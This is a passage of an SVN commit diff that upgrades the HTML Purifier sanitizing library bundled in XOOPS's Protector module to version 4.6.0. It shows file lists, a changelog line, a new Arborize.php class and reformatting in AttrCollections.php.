XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/Length.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/Name.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/NameSync.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/Nofollow.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/SafeEmbed.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/SafeObject.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/SafeParam.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/ScriptRequired.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/TargetBlank.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform/Textarea.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTransform.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrTypes.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrValidator.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Bootstrap.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/CSSDefinition.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ChildDef/Chameleon.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ChildDef/Custom.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ChildDef/Empty.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ChildDef/List.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ChildDef/Optional.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ChildDef/Required.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ChildDef/StrictBlockquote.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ChildDef/Table.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ChildDef.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Config.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ConfigSchema/Builder/Xml.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ConfigSchema/Interchange/Directive.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ConfigSchema/Interchange/Id.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ConfigSchema/Interchange.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ConfigSchema/Validator.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ConfigSchema/ValidatorAtom.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ConfigSchema/schema.ser
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ConfigSchema.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ContentSets.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Context.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Definition.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/DefinitionCache/Decorator/Memory.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/DefinitionCache/Decorator.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/DefinitionCache/Null.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/DefinitionCache/Serializer.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/DefinitionCache.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/DefinitionCacheFactory.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Doctype.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/DoctypeRegistry.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ElementDef.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Encoder.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/EntityLookup.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/EntityParser.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ErrorCollector.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ErrorStruct.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Filter/ExtractStyleBlocks.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Filter/YouTube.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Filter.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Generator.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLDefinition.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Bdo.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/CommonAttributes.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Edit.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Forms.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Hypertext.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Iframe.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Image.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Legacy.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/List.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Name.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Nofollow.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Object.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Presentation.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Proprietary.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Ruby.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/SafeEmbed.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/SafeObject.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/SafeScripting.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Scripting.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/StyleAttribute.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Tables.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Target.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/TargetBlank.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Text.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Tidy/Name.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Tidy/Proprietary.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Tidy/Strict.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Tidy/Transitional.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Tidy/XHTML.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/Tidy.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule/XMLCommonAttributes.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModule.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/HTMLModuleManager.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/IDAccumulator.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Injector/AutoParagraph.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Injector/DisplayLinkURI.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Injector/Linkify.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Injector/PurifierLinkify.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Injector/RemoveEmpty.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Injector/SafeObject.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Injector.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Language/classes/en-x-test.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Language/messages/en.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Language.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/LanguageFactory.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Length.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Lexer/DOMLex.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Lexer/DirectLex.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Lexer/PH5P.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Lexer.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/PercentEncoder.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Printer/CSSDefinition.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Printer/ConfigForm.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Printer/HTMLDefinition.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Printer.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/PropertyList.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/PropertyListIterator.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Strategy/Composite.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Strategy/Core.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Strategy/FixNesting.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Strategy/MakeWellFormed.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Strategy/RemoveForeignElements.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Strategy/ValidateAttributes.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Strategy.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/StringHash.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/StringHashParser.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/TagTransform/Font.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/TagTransform/Simple.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/TagTransform.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Token/Comment.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Token/Empty.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Token/End.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Token/Start.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Token/Tag.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Token/Text.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Token.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/TokenFactory.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URI.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIDefinition.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIFilter/DisableExternal.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIFilter/DisableExternalResources.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIFilter/DisableResources.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIFilter/HostBlacklist.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIFilter/MakeAbsolute.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIFilter/Munge.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIFilter/SafeIframe.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIFilter.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIParser.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIScheme/data.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIScheme/file.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIScheme/ftp.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIScheme/http.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIScheme/https.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIScheme/mailto.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIScheme/news.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIScheme/nntp.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URIScheme.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/URISchemeRegistry.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/UnitConverter.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/VarParser/Flexible.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/VarParser/Native.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/VarParser.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier.func.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier.includes.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier.kses.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier.safe-includes.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/NEWS
Added Paths:
-----------
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Arborize.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txt
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Node/
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Node/Comment.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Node/Element.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Node/Text.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Node.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Queue.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Zipper.php
XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/VERSION
Modified: XoopsCore/branches/2.5.x/2.5.7/docs/changelog.250.txt
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/docs/changelog.250.txt 2014-02-15 07:19:16 UTC (rev 12314)
+++ XoopsCore/branches/2.5.x/2.5.7/docs/changelog.250.txt 2014-02-15 07:35:30 UTC (rev 12315)
@@ -70,7 +70,7 @@
Updated:
- jGrowl to 1.2.13 (mamba)
- jQuery Form to 3.42.0 (mamba)
- - HTML Purifier to 4.5.0 (mamba)
+ - HTML Purifier to 4.6.0 (mamba)
- Smarty to 2.6.28 (mamba)
- TinyMCE to 3.5.10 (mamba)
- prototype.js to 1.7.1, Aug 2012 (rgriffith)
Added: XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Arborize.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Arborize.php (rev 0)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Arborize.php 2014-02-15 07:35:30 UTC (rev 12315)
@@ -0,0 +1,71 @@
+<?php
+
+/**
+ * Converts a stream of HTMLPurifier_Token into an HTMLPurifier_Node,
+ * and back again.
+ *
+ * @note This transformation is not an equivalence. We mutate the input
+ * token stream to make it so; see all [MUT] markers in code.
+ */
+class HTMLPurifier_Arborize
+{
+ public static function arborize($tokens, $config, $context) {
+ $definition = $config->getHTMLDefinition();
+ $parent = new HTMLPurifier_Token_Start($definition->info_parent);
+ $stack = array($parent->toNode());
+ foreach ($tokens as $token) {
+ $token->skip = null; // [MUT]
+ $token->carryover = null; // [MUT]
+ if ($token instanceof HTMLPurifier_Token_End) {
+ $token->start = null; // [MUT]
+ $r = array_pop($stack);
+ assert($r->name === $token->name);
+ assert(empty($token->attr));
+ $r->endCol = $token->col;
+ $r->endLine = $token->line;
+ $r->endArmor = $token->armor;
+ continue;
+ }
+ $node = $token->toNode();
+ $stack[count($stack)-1]->children[] = $node;
+ if ($token instanceof HTMLPurifier_Token_Start) {
+ $stack[] = $node;
+ }
+ }
+ assert(count($stack) == 1);
+ return $stack[0];
+ }
+
+ public static function flatten($node, $config, $context) {
+ $level = 0;
+ $nodes = array($level => new HTMLPurifier_Queue(array($node)));
+ $closingTokens = array();
+ $tokens = array();
+ do {
+ while (!$nodes[$level]->isEmpty()) {
+ $node = $nodes[$level]->shift(); // FIFO
+ list($start, $end) = $node->toTokenPair();
+ if ($level > 0) {
+ $tokens[] = $start;
+ }
+ if ($end !== NULL) {
+ $closingTokens[$level][] = $end;
+ }
+ if ($node instanceof HTMLPurifier_Node_Element) {
+ $level++;
+ $nodes[$level] = new HTMLPurifier_Queue();
+ foreach ($node->children as $childNode) {
+ $nodes[$level]->push($childNode);
+ }
+ }
+ }
+ $level--;
+ if ($level && isset($closingTokens[$level])) {
+ while ($token = array_pop($closingTokens[$level])) {
+ $tokens[] = $token;
+ }
+ }
+ } while ($level > 0);
+ return $tokens;
+ }
+}
Property changes on: XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/Arborize.php
___________________________________________________________________
Added: svn:keywords
## -0,0 +1 ##
+Author Date Id Rev URL
\ No newline at end of property
Added: svn:eol-style
## -0,0 +1 ##
+native
\ No newline at end of property
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrCollections.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrCollections.php 2014-02-15 07:19:16 UTC (rev 12314)
+++ XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrCollections.php 2014-02-15 07:35:30 UTC (rev 12315)
@@ -8,7 +8,8 @@
{
/**
- * Associative array of attribute collections, indexed by name
+ * Associative array of attribute collections, indexed by name.
+ * @type array
*/
public $info = array();
@@ -16,8 +17,8 @@
* Performs all expansions on internal data for use by other inclusions
* It also collects all attribute collection extensions from
* modules
- * @param $attr_types HTMLPurifier_AttrTypes instance
- * @param $modules Hash array of HTMLPurifier_HTMLModule members
+ * @param HTMLPurifier_AttrTypes $attr_types HTMLPurifier_AttrTypes instance
+ * @param HTMLPurifier_HTMLModule[] $modules Hash array of HTMLPurifier_HTMLModule members
*/
public function __construct($attr_types, $modules)
{
@@ -31,7 +32,9 @@
if ($attr_i === 0 && isset($this->info[$coll_i][$attr_i])) {
// merge in includes
$this->info[$coll_i][$attr_i] = array_merge(
- $this->info[$coll_i][$attr_i], $attr);
+ $this->info[$coll_i][$attr_i],
+ $attr
+ );
continue;
}
$this->info[$coll_i][$attr_i] = $attr;
@@ -50,21 +53,29 @@
/**
* Takes a reference to an attribute associative array and performs
* all inclusions specified by the zero index.
- * @param &$attr Reference to attribute array
+ * @param array &$attr Reference to attribute array
*/
public function performInclusions(&$attr)
{
- if (!isset($attr[0])) return;
+ if (!isset($attr[0])) {
+ return;
+ }
$merge = $attr[0];
$seen = array(); // recursion guard
// loop through all the inclusions
for ($i = 0; isset($merge[$i]); $i++) {
- if (isset($seen[$merge[$i]])) continue;
+ if (isset($seen[$merge[$i]])) {
+ continue;
+ }
$seen[$merge[$i]] = true;
// foreach attribute of the inclusion, copy it over
- if (!isset($this->info[$merge[$i]])) continue;
+ if (!isset($this->info[$merge[$i]])) {
+ continue;
+ }
foreach ($this->info[$merge[$i]] as $key => $value) {
- if (isset($attr[$key])) continue; // also catches more inclusions
+ if (isset($attr[$key])) {
+ continue;
+ } // also catches more inclusions
$attr[$key] = $value;
}
if (isset($this->info[$merge[$i]][0])) {
@@ -78,8 +89,8 @@
/**
* Expands all string identifiers in an attribute array by replacing
* them with the appropriate values inside HTMLPurifier_AttrTypes
- * @param &$attr Reference to attribute array
- * @param $attr_types HTMLPurifier_AttrTypes instance
+ * @param array &$attr Reference to attribute array
+ * @param HTMLPurifier_AttrTypes $attr_types HTMLPurifier_AttrTypes instance
*/
public function expandIdentifiers(&$attr, $attr_types)
{
@@ -89,9 +100,13 @@
foreach ($attr as $def_i => $def) {
// skip inclusions
- if ($def_i === 0) continue;
+ if ($def_i === 0) {
+ continue;
+ }
- if (isset($processed[$def_i])) continue;
+ if (isset($processed[$def_i])) {
+ continue;
+ }
// determine whether or not attribute is required
if ($required = (strpos($def_i, '*') !== false)) {
@@ -122,9 +137,7 @@
unset($attr[$def_i]);
}
}
-
}
-
}
// vim: et sw=4 sts=4
Modified: XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php
===================================================================
--- XoopsCore/branches/2.5.x/2.5.7/htdocs/xoops_lib/modules/protector/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php 2014-02-15 07:19:16 UTC (rev 12314)
